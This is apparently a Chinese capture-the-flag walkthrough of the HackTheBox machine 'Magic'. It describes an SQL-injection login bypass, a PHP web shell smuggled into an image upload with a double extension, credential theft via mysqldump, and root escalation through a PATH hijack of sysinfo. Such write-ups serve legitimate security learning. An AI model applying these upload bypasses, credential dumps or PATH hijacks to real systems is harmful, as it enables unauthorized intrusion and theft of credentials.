HackTheBox - magic
通过扫描,开放了以下服务:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
49163/tcp filtered unknown
很明显重心就在80端口了。
通过 '-- 发现存在注入漏洞,直接跳转到了 upload.php 页面
值得说明的是,图片里可以嵌入php代码。如果不成功,就使用【UltraEdit】软件以16进制编辑。如下图,最后添加完php代码是可以正常显示为图片的,这点需要知道。
到这一步的时候,发现无法直接上传php文件。更改了后缀后,不停地调试发现端截取扩展名的时候存在问题【便把扩展名改为了:.php.daddy.php;.png】 ,经测试后发现这个文件无论在windows还是linux都是属于隐藏文件。上传的时候要显示所有文件。
C:\Users\Administrator\Desktop\magic 的目录
2020/05/04 14:26 <DIR< .
2020/05/04 14:26 <DIR< ..
2020/05/04 14:15 12,288 .46153_2.py.swp
2020/05/04 14:16 3,717 .php.daddy.php;.png
2020/05/04 14:15 1,972,529 .php.fuck.php;.png
2020/05/03 14:10 2,028,217 1.png
2020/05/03 14:09 1,969,487 2.png
2020/05/03 14:48 70,919 2020-05-03_144823.png
2020/05/03 14:48 17,906 2020-05-03_144847.png
2020/05/03 14:43 45,637 3.png
2020/05/04 14:17 420,333 3_1.png
2020/05/03 19:02 285,360 4.png
2020/05/03 20:21 273,975 5.png
2020/05/04 14:14 405,087 5_1.png
2020/05/04 14:13 339,231 6.png
2020/05/03 19:19 7,498 build-alpine
2020/05/04 14:10 46,028 magic
2020/05/04 11:55 18,262 networkd-dispatcher.py
2020/05/04 14:30 <DIR> ok
2020/05/03 14:14 3,042 reverse_shell_php.php;jpg.php
2020/05/04 14:20 <DIR> rootfs
17 个文件 7,919,516 字节
4 个目录 40,880,676,864 可用字节
上传成功后,打开网页,顺利获取 www-data 权限。【忘了说:路径在:http://10.10.10.185/images/uploads/.php.daddy.php;.png】
发现数据库连接信息
$ cat db.php5
<?php
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
private static $cont = null;
public function __construct() {
die('Init function is not allowed');
}
public static function connect()
{
// One connection through whole application
if ( null == self::$cont )
{
try
{
self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
}
catch(PDOException $e)
{
die($e->getMessage());
}
}
return self::$cont;
}
public static function disconnect()
{
self::$cont = null;
}
}
$ cat upload.php
发现 mysql 数据库信息,mysql命令被删除了,发现可以使用 mysqldump 命令。导出 admin 密码
www-data@ubuntu:/var/lib$ mysqldump --all-databases -u theseus -piamkingtheseus
<sqldump --all-databases -u theseus -piamkingtheseus
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost Database:
-- ------------------------------------------------------
-- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Current Database: `Magic`
--
CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;
USE `Magic`;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2020-05-02 23:53:36
顺便取走 user 证明
theseus@ubuntu:~$ cat user.txt
cat user.txt
48fbfc4f09055c0fd2c77f15e6dadf82
截止到这里,尝试登录theseus 用户,可以成功登录,密码为mysql数据库 admin用户的密码。
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
下面是目前为止所有获取的密码信息:
Th3s3usW4sK1ng
iamkingtheseus
提权,使用 linpeas 后发现没有明显的提权特征。
发现 theseus 目录有隐藏文件夹 .gnupg,被绕了一圈。
然后又发现IMageMagick-6 下
/etc/pki/fwupd/LVFS-CA.pem
/etc/pki/fwupd-metadata/LVFS-CA.pem
有两个私钥证书,又被绕了一圈。
忽略了最明显的 /usr/bin/sysinfo 这个命令,看了别人的闯关帖子。才发现,这个命令是由多个命令组成的。并不是linux 系统命令的一部分。确实坑在这了。
最后修改环境变量:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/theseus/
_=/usr/bin/env
顺利取得 root.txt
评论
发表评论